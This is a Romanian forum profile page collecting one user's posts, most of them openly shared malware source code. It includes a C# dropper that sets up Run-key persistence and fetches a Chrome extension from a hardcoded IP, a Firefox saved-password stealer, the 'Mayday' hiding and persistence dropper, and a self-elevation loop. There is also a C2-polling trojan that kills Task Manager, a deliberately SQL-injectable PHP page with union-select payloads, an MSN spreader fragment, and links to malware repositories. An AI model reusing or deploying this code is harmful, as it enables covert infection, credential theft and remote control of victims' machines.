Jump to content

Jako

Active Members
  • Posts

    68
  • Joined

  • Last visited

Everything posted by Jako

  1. using System; using System.Collections.Generic; using System.Text; using System.Net; using System.IO; using System.Diagnostics; using System.Runtime.InteropServices; using Microsoft.Win32; namespace ChromeSilence { class Program { [DllImport("user32.dll")] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); static void Main(string[] args) { string filename = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; string newfilename = "asg0sdg025scdvx.exe"; if (File.Exists(@"C:\Windows\Temp\"+filename)) { } else { try { File.Copy(filename, @"C:\Windows\Temp\" + newfilename); } catch (IOException copyError) { Console.WriteLine(copyError.Message); } } RegistryKey ax = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); ax.SetValue("Printing Device", "\"" + @"C:\Windows\Temp\"+newfilename + "\""); // check if chrome installed string file_one = @"C:\Program Files\Google\Chrome\Application\chrome.exe"; string file_two = @"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"; String temp_path = @"C:\Windows\Temp\chrome_extension"; String site_url = "http://37.235.55.133/pl/"; System.IO.Directory.CreateDirectory(temp_path); // create directory if (File.Exists(file_one)) { using (WebClient webClient = new WebClient()) { webClient.DownloadFile(site_url + "manifest.json", temp_path + @"\manifest.json"); webClient.DownloadFile(site_url + "main.js", temp_path + @"\main.js"); webClient.DownloadFile(site_url + "window.html", temp_path + @"\window.html"); } System.Threading.Thread.Sleep(5000); // sleep for 5 seconds Process.Start("chrome.exe", "--load-and-launch-app=" + temp_path); } if (File.Exists(file_two)) { using (WebClient webClient = new WebClient()) { webClient.DownloadFile(site_url + "manifest.json", temp_path + @"\manifest.json"); webClient.DownloadFile(site_url + "main.js", temp_path + @"\main.js"); webClient.DownloadFile(site_url + "window.html", temp_path + @"\window.html"); } System.Threading.Thread.Sleep(5000); // sleep for 5 seconds Process.Start("chrome.exe", "--load-and-launch-app=" + temp_path); } } } }
  2. MASM32 Code collection for reverse engineers https://github.com/Xyl2k/Xylitol-MASM32-snippets [.onion] Cerberus Malware repository: http://cerberussssc7cat.onion/ Malware repositories and samples: https://malware.lu/ http://malshare.com/
  3. Ok, trage apa si posteaza varianta ta frumoasa. Mersi!
  4. Nu te-am jignit. Posteaza si tu varianta ta, te rog.
  5. ; ---- skeleton ----------------------------------------------------------- .686 .model flat, stdcall option casemap :none ; ---- Include ------------------------------------------------------------ include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\comctl32.inc include \masm32\include\user32.inc include \masm32\macros\macros.asm includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib includelib \masm32\lib\comctl32.lib DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD AddComma PROTO :DWORD,:DWORD SetClipboard PROTO :DWORD ; ######################################################################### .const IDD_DIALOG1 equ 100 IDC_EDT1 equ 101 IDC_EDT2 equ 102 .data szBuffer db 256 dup(?) .data? hInstance dd ? szInput db 512 dup(?) szOutput1 db 512 dup(?) szOutput2 db 512 dup(?) szOutputF db 512 dup(?) szinputLen dd ? .code WinMain: invoke GetModuleHandle,0 mov hInstance,eax invoke DialogBoxParam,hInstance,IDD_DIALOG1,0,addr DlgProc,0 invoke InitCommonControls invoke ExitProcess,eax DlgProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM mov eax,uMsg .if eax==WM_INITDIALOG .elseif eax == WM_COMMAND mov eax,wParam mov edx,eax shr edx,16 and eax,0ffffh .if edx==BN_CLICKED .if eax==1090 invoke GetDlgItemText,hWnd,IDC_EDT1,addr szInput,sizeof szInput .if eax > 50 invoke SetDlgItemText,hWnd,102,chr$("Input is too big") .else test eax,eax jz nothing mov szinputLen,eax PUSH ESI PUSH EDX PUSH ECX MOV EBX,szinputLen CMP EBX,0 JBE @End MOV DWORD PTR SS:[EBP-3],EBX lea esi,offset szInput lea edi,offset szOutput1 @std: MOVZX EAX,BYTE PTR DS:[ESI] MOV ECX,0Ah XOR EDX,EDX IDIV ECX ADD DL,030h MOV BYTE PTR DS:[EDI+2],DL XOR EDX,EDX IDIV ECX ADD DL,030h MOV BYTE PTR DS:[EDI+1],DL ADD AL,030h MOV BYTE PTR DS:[EDI],',' MOV BYTE PTR DS:[EDI],AL ADD EDI,3 INC ESI DEC DWORD PTR SS:[EBP-3] JNZ @std @End: PUSH DWORD PTR SS:[EBP+0Ch] CALL lstrlen XOR EDX,EDX MOV ECX,3 IDIV ECX POP ECX POP EDX POP ESI invoke AddComma,addr szOutput1,addr szOutput2 iNvOkE lstrlen,addr szOutput2 MOV BYTE PTR [EAX+offset szOutput2-1],0 invoke lstrcat,addr szOutputF,chr$("char",28h) invoke lstrcat,addr szOutputF,addr szOutput2 invoke lstrcat,addr szOutputF,chr$(29h) invoke SetDlgItemText,hWnd,102,addr szOutputF invoke RtlZeroMemory,addr szInput, sizeof szInput ;Clear buffers invoke RtlZeroMemory,addr szOutput1, sizeof szOutput1 invoke RtlZeroMemory,addr szOutput2, sizeof szOutput2 invoke RtlZeroMemory,addr szOutputF, sizeof szOutputF RET .endif .endif .if eax==1097 invoke GetDlgItemText,hWnd,102,addr szBuffer,sizeof szBuffer test eax,eax jz nothing invoke SetClipboard,addr szBuffer ret nothing: invoke SetDlgItemText,hWnd,102,chr$("Click Convert first.") ret .endif .if eax==1098 invoke EndDialog,hWnd,0 .endif .endif .endif .if eax==WM_CLOSE invoke EndDialog,hWnd,0 .else xor eax,eax ret .endif mov eax,TRUE ret DlgProc endp AddComma proc uMsg:DWORD,wParam:DWORD XOR EAX,EAX XOR EDX,EDX XOR EBX,EBX XOR ESI,ESI XOR EDI,EDI MOV EBX,uMsg MOV EDX,wParam JMP foo_20 foo_10: MOV BYTE PTR [EDX],',' INC EDX foo_20: MOV ECX,DWORD PTR [EBX] ADD EBX,3 TEST ECX,ECX JZ foo_30 MOV DWORD PTR [EDX],ECX ADD EDX,3 JMP foo_10 foo_30: XOR ECX,ECX MOV DWORD PTR [EDX],ECX ret AddComma endp SetClipboard proc txt:DWORD local sLen:DWORD local hMem:DWORD local pMem:DWORD invoke lstrlen, txt inc eax mov sLen, eax invoke OpenClipboard, 0 invoke GlobalAlloc, GHND, sLen mov hMem, eax invoke GlobalLock, eax mov pMem, eax mov esi, txt mov edi, eax mov ecx, sLen rep movsb invoke EmptyClipboard invoke GlobalUnlock, hMem invoke SetClipboardData, CF_TEXT, hMem invoke CloseClipboard ret SetClipboard endp end WinMain Local usage example: <?php /* SQL: CREATE TABLE IF NOT EXISTS `users` ( `user_id` mediumint(9) NOT NULL AUTO_INCREMENT, `username` varchar(50) NOT NULL, `nom` varchar(80) NOT NULL, `prenom` varchar(80) NOT NULL, `email` varchar(80) NOT NULL, PRIMARY KEY (`user_id`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=7 ; INSERT INTO `users` (`user_id`, `username`, `nom`, `prenom`, `email`) VALUES (1, 'Xylitol', 'Ano', 'Nymous', 'not disclosed'), (2, 'Krach', 'Ano', 'Nymous', 'not disclosed'), (3, 'Tishrom', 'Ano', 'Nymous', 'not disclosed'), (4, 'Karkinge', 'Ano', 'Nymous', 'not disclosed'), (5, 'H00b3n', 'Ano', 'Nymous', 'not disclosed'), (6, 'Spawn', 'Ano', 'Nymous', 'not disclosed'); Usage: vuln.php?id=4 order by 4 vuln.php?id=-1+union+select+1,2,3,4,5-- */ mysql_connect("localhost","root",""); mysql_select_db("testsqlinj"); $user_id = $_GET['id']; // $user_id = intval($_GET['id']); $sql = mysql_query("SELECT username, nom, prenom, email FROM users WHERE user_id = $user_id") or die(mysql_error()); if(mysql_num_rows($sql) > 0) { $data = mysql_fetch_object($sql); echo " <fieldset> <legend>Profile de ".$data->username."</legend> <p>Nom d'utilisateur : ".$data->username."</p> <p>Nom et prénom : ".$data->nom." " .$data->prenom ."</p> <p>Adresse email : ".$data->email."</p> </fieldset>"; } ?>
  6. #define CHAR_PTR_SIZE sizeof(char*) #define JSON_ENTRY_NAME 0 #define JSON_ENTRY_DATA 1 char* unwrap(char* in,char in_st, char in_end){ char* tmp = in; int st = 0; int en = 0; if (*in == in_st){ *in = 0x00; st = 1; } in += (lstrlenA(in + 1)); if (*in == in_end){ *in = 0x00; en = 1; } if (st && en){ return tmp + 1; } else{ return 0; } } int st_en(char in_char, int in_int){ int out = in_int; if (in_char == '{' || in_char == '['){ out++; } else if ((in_char == '}' || in_char == ']') && out){ out--; } return out; } char* parse_logins(LPVOID in, int in_size,char* out, int out_size){ int entrys = 0; int entrys_size = 0; char** pl = (char**)get_array((char*)in, 0, &entrys, &entrys_size); char** logins = NULL; char** login_info = NULL; lstrcpyA(out,"|"); if (pl && entrys){ for (int i = 0; i < entrys; i+= 2){ if (myString::compare_A(pl[i], lstrlenA(pl[i]), "\"logins\"", 8)){ int l_entrys = 0; int l_size = 0; logins = (char**)get_array(pl[i + 1], 1, &l_entrys, &l_size); if (logins && l_entrys){ for (int j = 0; j <= l_entrys; j += 2){ int j_entrys = 0; int j_size = 0; login_info = (char**)get_array(logins[j], 0, &j_entrys,&j_size); if (login_info && j_entrys){ for (int k = 0; k <= j_entrys; k += 2){ if (myString::compare_A(login_info[k], lstrlenA(login_info[k]), "\"hostname\"", 8)){ lstrcatA(out, unwrap(login_info[k + 1], '"', '"')); lstrcatA(out, ","); } else if (myString::compare_A(login_info[k], lstrlenA(login_info[k]), "\"encryptedUsername\"", 17)){ lstrcatA(out, Crack(unwrap(login_info[k + 1], '"', '"'))); lstrcatA(out, ","); } else if (myString::compare_A(login_info[k], lstrlenA(login_info[k]), "\"encryptedPassword\"", 17)){ lstrcatA(out, Crack(unwrap(login_info[k + 1], '"', '"'))); lstrcatA(out, "|"); } } RtlSecureZeroMemory(login_info, j_size); VirtualFree(login_info, j_size, MEM_RELEASE); } } RtlSecureZeroMemory(logins, l_size); VirtualFree(logins, l_size, MEM_RELEASE); } } } RtlSecureZeroMemory(pl, entrys_size); VirtualFree(pl,entrys_size,MEM_RELEASE); } return out; } int comma_sep(char* in, LPVOID out, int out_size, int* scc, int* p_cnt){ int in_size = lstrlenA(in); int _scc = *scc; //this is the count for {} [] if scc is not 0 then do not include those commas int prop_cnt = 0; //entry count in the array. char** out_arr = (char**)out; //This is the pointer that we use the make the data into and array char* object = 0; //another pointer to munipulate data. int out_s = 0; //the totol size of the array in bytes int cur_pos = 0; //current possition withen the array for (int i = 0; i < in_size; i++){ cur_pos = prop_cnt * 2; _scc = st_en(in[i], _scc);//make sure we dont enter a sub object/array //Detect first entry. if (prop_cnt == 0){ prop_cnt = 1; if (out_arr){ out_arr[(prop_cnt - 1) + JSON_ENTRY_NAME] = in;//Set the first entry in array } } //Parse each entry out_s = cur_pos * CHAR_PTR_SIZE; if (!_scc && in[i] == ','){ if (out_arr){ //add item to array in[i] = 0x00;// over write the , with a NULL to create a valid string if (out_s <= out_size){ //set array entry to after the , out_arr[cur_pos + JSON_ENTRY_NAME] = (char*)(in + i + 1); } } //increment number of entrys int the JSON array. prop_cnt++; } } cur_pos = 0; if (out_arr){//if out_arr is false then we return the count of entrys for the array. for (int j = 0; j <= prop_cnt; j++){ cur_pos = j * 2; object = out_arr[cur_pos + JSON_ENTRY_NAME]; for (int i = 0; i < lstrlenA(object); i++){ _scc = st_en(object[i], _scc); if (!_scc && object[i] == ':'){ //replace : with a null to create a valid string object[i] = 0x00; out_s = cur_pos * CHAR_PTR_SIZE; //Set the data and the name. if (out_s <= out_size){ //set the pointer to after the : out_arr[cur_pos + JSON_ENTRY_DATA] = object + i + 1; } continue; } else if (!_scc && object[i] == ','){ //error checking break; } } } } *p_cnt = prop_cnt; // set the amount of entrys withen the JSON array *scc = _scc; // return the number -> more for error checking cur_pos = prop_cnt * 2; // to calculate the total array size in bytes below return cur_pos * CHAR_PTR_SIZE; } LPVOID get_array(char* in, int arr, int * entrys, int* out_size){ char* object = in; int obj_size = NULL; int prop_cnt = NULL; int in_size = lstrlenA(in); LPVOID out_array = NULL; char** o_a = NULL; char start_char = '{'; char end_char = '}'; int start_char_cnt = 0; int sort = 0; int fist_param = 0; if (arr){ start_char = '['; end_char = ']'; } if (!in_size || in[0] != start_char){ return 0; } else if (in[in_size - 1] == end_char){ object = unwrap(in, start_char, end_char); if (object){ *out_size = comma_sep(object, 0, 0, &start_char_cnt, &prop_cnt); if (*out_size){ //call virtualFree later on. MAKE SURE! out_array = VirtualAlloc(0, *out_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); comma_sep(object, out_array, *out_size, &start_char_cnt, &prop_cnt); if (out_array && *out_size){ *entrys = prop_cnt; return out_array; } } } return 0; } } Implementation char tBuff[5000]; RtlSecureZeroMemory(tBuff, 5000); HANDLE lgns = CreateFileA("Path\\to\\logins.json", GENERIC_READ, FILE_SHARE_READ, 0, 3, FILE_ATTRIBUTE_NORMAL, 0); if (lgns && ReadFile(lgns, lgns_buff, 5000, &bytes_read, 0)){ parse_logins(lgns_buff, 5000, tBuff, 5000); } if (lgns){ CloseHandle(lgns); } if (lstrlenA(tBuff)){ OutputDebugStringW(L"FireFox Accounts ---->"); lstrcatA(inChar,tBuff); OutputDebugStringA(inChar); return (DWORD)inChar; } myString::compareA() code static int compare_A(char* small_ , int small_size, char* big_, int big_size){ char* big_str = big_; char * small_str = small_; int small_str_size = lstrlenA(small_); int big_str_size = lstrlenA(big_); int i = 0; if (small_str_size > big_str_size){ big_str = small_; small_str = big_; } if (small_size < small_str_size){ small_str_size = small_size; } if (big_size < big_str_size){ big_str_size = big_size; } for (i = 0;i < small_str_size; i++){ if (small_str[i] != big_str[i]){ break; } } if (i && i == (small_str_size)){ return 1; } return 0; } SOURCE
  7. Jako

    [C] tembak.c DoS

    ce rai sunteti pe aici...
  8. Jako

    Mayday malware

    main.h #pragma once #ifndef HEADER_H #define HEADER_H #include <tchar.h> #include <stdio.h> #include <iostream> #include <WinSock2.h> #include <Windows.h> #include <direct.h> #include <string> #pragma comment(lib, "Ws2_32.lib") void mainInstaller(std::string filepath, std::string whatDropName); bool isRunning(LPCSTR pName); std::string ExtractFilename ( const std::string& path ); std::string ExtractDirectory ( const std::string& path ); void hideProcess(); #endif maydaycore.cpp #include "Main.h" #include <Psapi.h> #include <TlHelp32.h> #include <cstringt.h> #include <atlstr.h> #include <locale> #include <codecvt> using namespace std; void mainInstaller(std::string filepath, std::string whatDropName) { char nxs[] = ""; strcat(nxs, (char *)whatDropName.c_str()); std::string asdf = filepath + "_temp.exe"; std::wstring stemp = std::wstring(filepath.begin(), filepath.end()); std::wstring stempa = std::wstring(asdf.begin(), asdf.end()); CopyFileW(stemp.c_str(), stempa.c_str(), FALSE); const std::string& nfn = ExtractFilename(filepath); const std::string& ofn = ExtractFilename(filepath); strcat((char *)nfn.c_str(), "_temp.exe"); char old[] = ""; strcat(old, (const char *)nfn.c_str()); Sleep(500); int result; result = rename(old, nxs); if(result != 0) { std::cout << "Rename failure." << std::endl; } else { std::cout << "Rename success." << std::endl; } Sleep(500); std::cout << nxs << std::endl; if(!SetFileAttributesA((LPCSTR)nxs, FILE_ATTRIBUTE_HIDDEN)) { std::cout << "Error hiding file." << std::endl; } Sleep(500); char szFinal[] = ""; strcat(szFinal, (const char *)ExtractDirectory(filepath).c_str()); strcat(szFinal, nxs); HKEY newValue; if(RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &newValue) != ERROR_SUCCESS) { } wstring_convert<std::codecvt_utf8<wchar_t>> converter; CString str; str = szFinal; cout << str.GetString() << endl; const BYTE* pb = reinterpret_cast<const BYTE*>(str.GetString()); cout << pb << endl; DWORD pathLenInBytes = *str * sizeof(*str); if(RegSetValueEx(newValue, TEXT("Printing Device"), 0, REG_SZ, (LPBYTE)pb, pathLenInBytes) != ERROR_SUCCESS) { RegCloseKey(newValue); cout << "error" << endl; } else { cout << "Possibly worked." << endl; RegCloseKey(newValue); } Sleep(800); char *fullNewFilePath = (char *)ExtractDirectory(filepath).c_str(); strcat(fullNewFilePath, "\\"); strcat(fullNewFilePath, whatDropName.c_str()); char *cmd = "/k start "; strcat((char *)cmd, ExtractDirectory(filepath).c_str()); strcat((char *)cmd, whatDropName.c_str()); std::cout << cmd << std::endl; CString cmd_str = cmd; wchar_t wtext[20]; mbstowcs(wtext, cmd, strlen(cmd) + 1); LPCWSTR newtext = wtext; // renders useless SHELLEXECUTEINFO shExecInfo; shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO); shExecInfo.fMask = NULL; shExecInfo.hwnd = NULL; shExecInfo.lpVerb = L"runas"; // request admin permissions shExecInfo.lpFile = L"cmd.exe"; shExecInfo.lpParameters = cmd_str; shExecInfo.lpDirectory = NULL; shExecInfo.nShow = SW_NORMAL; shExecInfo.hInstApp = NULL; ShellExecuteEx(&shExecInfo); ExitProcess(0); } void hideProcess() { } std::string ExtractDirectory ( const std::string& path ) { return path.substr(0, path.find_last_of('\\') + 1); } std::string ExtractFilename ( const std::string& path ) { return path.substr(path.find_last_of('\\') + 1); } bool isRunning(LPCSTR pName) { HWND hwnd; hwnd = FindWindow(NULL, (LPCWSTR)pName); if(hwnd!= 0) { return true; } else { return false; } } maydaymalware.cpp #include "Main.h" char *fileToDrop = "mayday.exe"; char *filepath = ""; char *reachServer = "127.0.0.1"; char *reachDirectory = "mayday"; int main(int argc, char *argv[]) { filepath = argv[0]; if(ExtractFilename(filepath).c_str() != (std::string)fileToDrop) { mainInstaller(filepath, fileToDrop); free(filepath); free(fileToDrop); } else { while(true) { Sleep(100000); } } return 0; } rootkat.cpp #include "Main.h" #include <CommCtrl.h> #pragma comment(linker, "/OPT:NOWIN98") #pragma comment(linker, "/FILEALIGN:512 /MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR /IGNORE:4078") #define WIN32_LEAN_AND_MEAN #define MAX 256
  9. Jako

    UAC bypass

    #include <iostream> #include <iomanip> #include <Windows.h> using namespace std; BOOL IsRunAsAdmin(); void elevate(); BOOL IsProcessElevated(); DWORD GetProcessIntegrityLevel(); BOOL Elevate(); int main() { Elevate(); } BOOL Elevate() { while (IsRunAsAdmin() == FALSE) { if (IsRunAsAdmin() == FALSE) { wchar_t szPath[MAX_PATH]; if (GetModuleFileName(NULL, (LPSTR)szPath, ARRAYSIZE(szPath))) { // Launch itself as administrator. SHELLEXECUTEINFO sei = { sizeof(sei) }; sei.lpVerb = (LPSTR)"runas"; sei.lpFile = (LPSTR)szPath; sei.hwnd = NULL; sei.nShow = SW_NORMAL; if (!ShellExecuteEx(&sei)) { DWORD dwError = GetLastError(); if (dwError == ERROR_CANCELLED) { // The user refused the elevation. // Do nothing ... } else { NULL; } } else { return TRUE; // Quit itself } } } else { NULL; } Sleep(500); } return FALSE; } BOOL IsRunAsAdmin() { BOOL fIsRunAsAdmin = FALSE; DWORD dwError = ERROR_SUCCESS; PSID pAdministratorsGroup = NULL; // Allocate and initialize a SID of the administrators group. SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; if (!AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdministratorsGroup)) { dwError = GetLastError(); goto Cleanup; } // Determine whether the SID of administrators group is enabled in // the primary access token of the process. if (!CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin)) { dwError = GetLastError(); goto Cleanup; } Cleanup: // Centralized cleanup for all allocated resources. if (pAdministratorsGroup) { FreeSid(pAdministratorsGroup); pAdministratorsGroup = NULL; } // Throw the error if something failed in the function. if (ERROR_SUCCESS != dwError) { throw dwError; } return fIsRunAsAdmin; } BOOL IsProcessElevated() { BOOL fIsElevated = FALSE; DWORD dwError = ERROR_SUCCESS; HANDLE hToken = NULL; // Open the primary access token of the process with TOKEN_QUERY. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { dwError = GetLastError(); goto Cleanup; } // Retrieve token elevation information. TOKEN_ELEVATION elevation; DWORD dwSize; if (!GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) { // When the process is run on operating systems prior to Windows // Vista, GetTokenInformation returns FALSE with the // ERROR_INVALID_PARAMETER error code because TokenElevation is // not supported on those operating systems. dwError = GetLastError(); goto Cleanup; } fIsElevated = elevation.TokenIsElevated; Cleanup: // Centralized cleanup for all allocated resources. if (hToken) { CloseHandle(hToken); hToken = NULL; } // Throw the error if something failed in the function. if (ERROR_SUCCESS != dwError) { throw dwError; } return fIsElevated; } DWORD GetProcessIntegrityLevel() { DWORD dwIntegrityLevel = 0; DWORD dwError = ERROR_SUCCESS; HANDLE hToken = NULL; DWORD cbTokenIL = 0; PTOKEN_MANDATORY_LABEL pTokenIL = NULL; // Open the primary access token of the process with TOKEN_QUERY. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { dwError = GetLastError(); goto Cleanup; } // Query the size of the token integrity level information. Note that // we expect a FALSE result and the last error ERROR_INSUFFICIENT_BUFFER // from GetTokenInformation because we have given it a NULL buffer. On // exit cbTokenIL will tell the size of the integrity level information. if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbTokenIL)) { if (ERROR_INSUFFICIENT_BUFFER != GetLastError()) { // When the process is run on operating systems prior to Windows // Vista, GetTokenInformation returns FALSE with the // ERROR_INVALID_PARAMETER error code because TokenElevation // is not supported on those operating systems. dwError = GetLastError(); goto Cleanup; } } // Now we allocate a buffer for the integrity level information. pTokenIL = (TOKEN_MANDATORY_LABEL *)LocalAlloc(LPTR, cbTokenIL); if (pTokenIL == NULL) { dwError = GetLastError(); goto Cleanup; } // Retrieve token integrity level information. if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTokenIL, cbTokenIL, &cbTokenIL)) { dwError = GetLastError(); goto Cleanup; } // Integrity Level SIDs are in the form of S-1-16-0xXXXX. (e.g. // S-1-16-0x1000 stands for low integrity level SID). There is one and // only one subauthority. dwIntegrityLevel = *GetSidSubAuthority(pTokenIL->Label.Sid, 0); Cleanup: // Centralized cleanup for all allocated resources. if (hToken) { CloseHandle(hToken); hToken = NULL; } if (pTokenIL) { LocalFree(pTokenIL); pTokenIL = NULL; cbTokenIL = 0; } // Throw the error if something failed in the function. if (ERROR_SUCCESS != dwError) { throw dwError; } return dwIntegrityLevel; }
  10. #include <windows.h> #pragma comment(lib, "Winmm.lib") #include <urlmon.h> #pragma comment(lib, "urlmon.lib") #include <iostream> #include <fstream> #include <WinInet.h> #pragma comment(lib, "WinInet.lib") #include <ShlObj.h> using namespace std; int Option, Assign, Target; DWORD WINAPI LowProfile(LPVOID); DWORD WINAPI Option1(LPVOID); DWORD WINAPI Option2(LPVOID); DWORD WINAPI Option3(LPVOID); DWORD WINAPI Option4(LPVOID); DWORD WINAPI Option5(LPVOID); // Add more lines of Option6, Option7, etc. to create more commands. HWND TaskMgr, SysError, WMP, Disk1, Disk2, Disk3, Disk4, Autoplay, VBS; int main() { // Hide Console Window FreeConsole(); CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&LowProfile, 0, 0, NULL); // Checks if assign.txt exists. If it doesn't (only first run), download assign.txt. This gives the computer an ID number. You can change assign.txt in the PHP file BEFORE you plug in the U3 drive. FILE *istream; if ( (istream = fopen ( "C:\\Windows\\trojan\\assign.txt", "r" ) ) == NULL ) { URLDownloadToFile(NULL, L"http://www.yourwebsitehere.com/trojan/assign.html", L"c:\\Windows\\trojan\\assign.txt", NULL, NULL); } else { } // Store Assign.txt in a variable ifstream inAssign; inAssign.clear(); inAssign.open("c:\\Windows\\trojan\\assign.txt"); inAssign >> Assign; inAssign.close(); inAssign.clear(); // Start the main loop that is downloading the textfile each 5 seconds. while(1) { // Download Option & Target remove("c:\\Windows\\trojan\\option.txt"); remove("c:\\Windows\\trojan\\target.txt"); DeleteUrlCacheEntry(L"http://www.yourwebsitehere.com/trojan/"); DeleteUrlCacheEntry(L"http://www.yourwebsitehere.com/trojan/target.html"); Sleep(100); URLDownloadToFile(NULL, L"http://www.yourwebsitehere.com/trojan/", L"c:\\Windows\\trojan\\option.txt", NULL, NULL); URLDownloadToFile(NULL, L"http://www.yourwebsitehere.com/trojan/target.html", L"c:\\Windows\\trojan\\target.txt", NULL, NULL); // Read Option ifstream inFile; inFile.clear(); inFile.open("c:\\Windows\\trojan\\option.txt"); inFile >> Option; inFile.close(); inFile.clear(); // Read Target ifstream inTarget; inTarget.clear(); inTarget.open("c:\\Windows\\trojan\\target.txt"); inTarget >> Target; inTarget.close(); inTarget.clear(); // If Target is equal to assign (so you can target a single computer) or if Target is zero (target all computers with your trojan) if(Target == Assign || Target == 0) { if(Option == 1) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option1, 0, 0, NULL); } else if(Option == 2) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option2, 0, 0, NULL); } else if(Option == 3) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option3, 0, 0, NULL); } else if(Option == 4) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option4, 0, 0, NULL); } else if(Option == 5) { CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&Option5, 0, 0, NULL); } // Add more of these lines for more commands } Sleep(5000); } } // Our LowProfile Thread. Hides all errors and things that may popup while inserting your U3 drive. DWORD WINAPI LowProfile(LPVOID) { while(1) { // Obvious TaskMgr = FindWindow(NULL,L"Windows Task Manager"); // May popup because of new hardware installation (U3) SysError = FindWindow(NULL,L"System Settings Change"); // Windows Media Player may popup. Rarely happens, but had this once at a school computer. WMP = FindWindow(NULL,L"Windows Media Player"); // The Removable Disk part of the U3 Drive can open automatically. Disk1 = FindWindow(NULL,L"(D:) Removable Disk"); Disk2 = FindWindow(NULL,L"(E:) Removable Disk"); Disk3 = FindWindow(NULL,L"(F:) Removable Disk"); Disk4 = FindWindow(NULL,L"(G:) Removable Disk"); // Autoplay Autoplay = FindWindow(NULL,L"Autoplay"); // Errors caused by our VBScript go.vbs VBS = FindWindow(NULL,L"Windows Script Host"); if( TaskMgr != NULL) { SetWindowText( TaskMgr,L"DIE!!!! =O"); Sleep(500); PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( SysError != NULL) { PostMessage( SysError, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( WMP != NULL) { Sleep(1000); PostMessage( WMP, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( Disk1 != NULL) { PostMessage( Disk1, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( Disk2 != NULL) { PostMessage( Disk2, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( Disk3 != NULL) { PostMessage( Disk3, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( Disk4 != NULL) { PostMessage( Disk4, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( Autoplay != NULL) { PostMessage( Autoplay, WM_CLOSE, (LPARAM)0, (WPARAM)0); } if( VBS != NULL) { PostMessage( VBS, WM_CLOSE, (LPARAM)0, (WPARAM)0); } Sleep(500); } } // // Here we start with our commands. Option1, Option2, Option3, etc. // Don't forget to also define and create a process for these Options if you want to create more. // Have Fun =D // DWORD WINAPI Option1(LPVOID) { // 1 return 0; } DWORD WINAPI Option2(LPVOID) { // 2 return 0; } DWORD WINAPI Option3(LPVOID) { // 3 return 0; } DWORD WINAPI Option4(LPVOID) { // 4 return 0; } DWORD WINAPI Option5(LPVOID) { // 5 return 0; }
  11. Nu e scris de mine, si daca ar fi n-ar conta. Iti multumesc pentru interventie si te rog frumos sa postezi tu o varianta mai buna.
  12. #include <Windows.h> // We include the windows header library since we are working with winapi #ifdef _WIN32_WINNT & 0x0403 #pragma comment(linker, "/ALIGN:4096") // Win2k8+ likes to limit buffers to 2048-bit array #pragma warning(disable : 4106) // This error tends to come up alot, let's just ignore it #define WIN32_LEAN_AND_MEAN // Shouldn't this be a standard by now? #endif /* We must always prototype the functions that we will use in our program prior to defining them so the compiler wil know what to expect when reading code. Good programming practice */ int MSN_StartFileSpread(LPSTR spread_file, LPSTR spread_msg); BOOL MSN_CopyDataToCB(LPSTR cb_data, HWND hwnd); BOOL MSN_CopyFiletoCB(LPSTR cb_data, HWND hwnd); int MSN_CloseActiveWindow(); // #import "../xxx/path/to/tlb/file" NOTE BELOW /* This should be the path to the msn messenger API class note it's a .tlb file -- I have another function which gets the base file path then afterwords you would just import it, but I'm sure it won't be too hard to make a function for this since it's like the only .tlb file in the MSN folder lul -> Just GetModuleFileName() it */ BOOL MSN_CopyDataToCB(LPSTR cb_data, HWND hwnd) { HGLOBAL hGlobal; LPVOID lpData; if (OpenClipboard(hwnd) <= 0) return FALSE; // if we cannot open clip-board then exit () EmptyClipboard(); // empty the data inside the clipboard so we can put new data in hGlobal = GlobalAlloc(GMEM_DDESHARE|GMEM_MOVEABLE,strlen(cb_data)+1); // reserve null bytes + alloc hGlobal = GlobalLock(lpData); // so it blocks further data to be inserted into this c/b by the user strcpy((LPSTR)lpData, cb_data); // Copy the clip_board data passed by param(1) to allocated grid GlobalUnlock(hGlobal); // allow user to use data now since we cleared previous space with our data SetClipboardData(CF_TEXT, lpData); // let the computer known that standard text is passed to c/b // other standards include CF_ANSI and CF_UNICODE, POSIX std CloseClipboard() ; // close clipboard just like we would a socket since its no longer in use GlobalFree(lpData); // and of course clear the string data of original param for re-use // this is just in case we want to use function again we wont have // the old string data inside the clipboard if we want to add new return ERROR_SUCCESS; // Notify the compiler, if it got to here, feed it 1 bit, 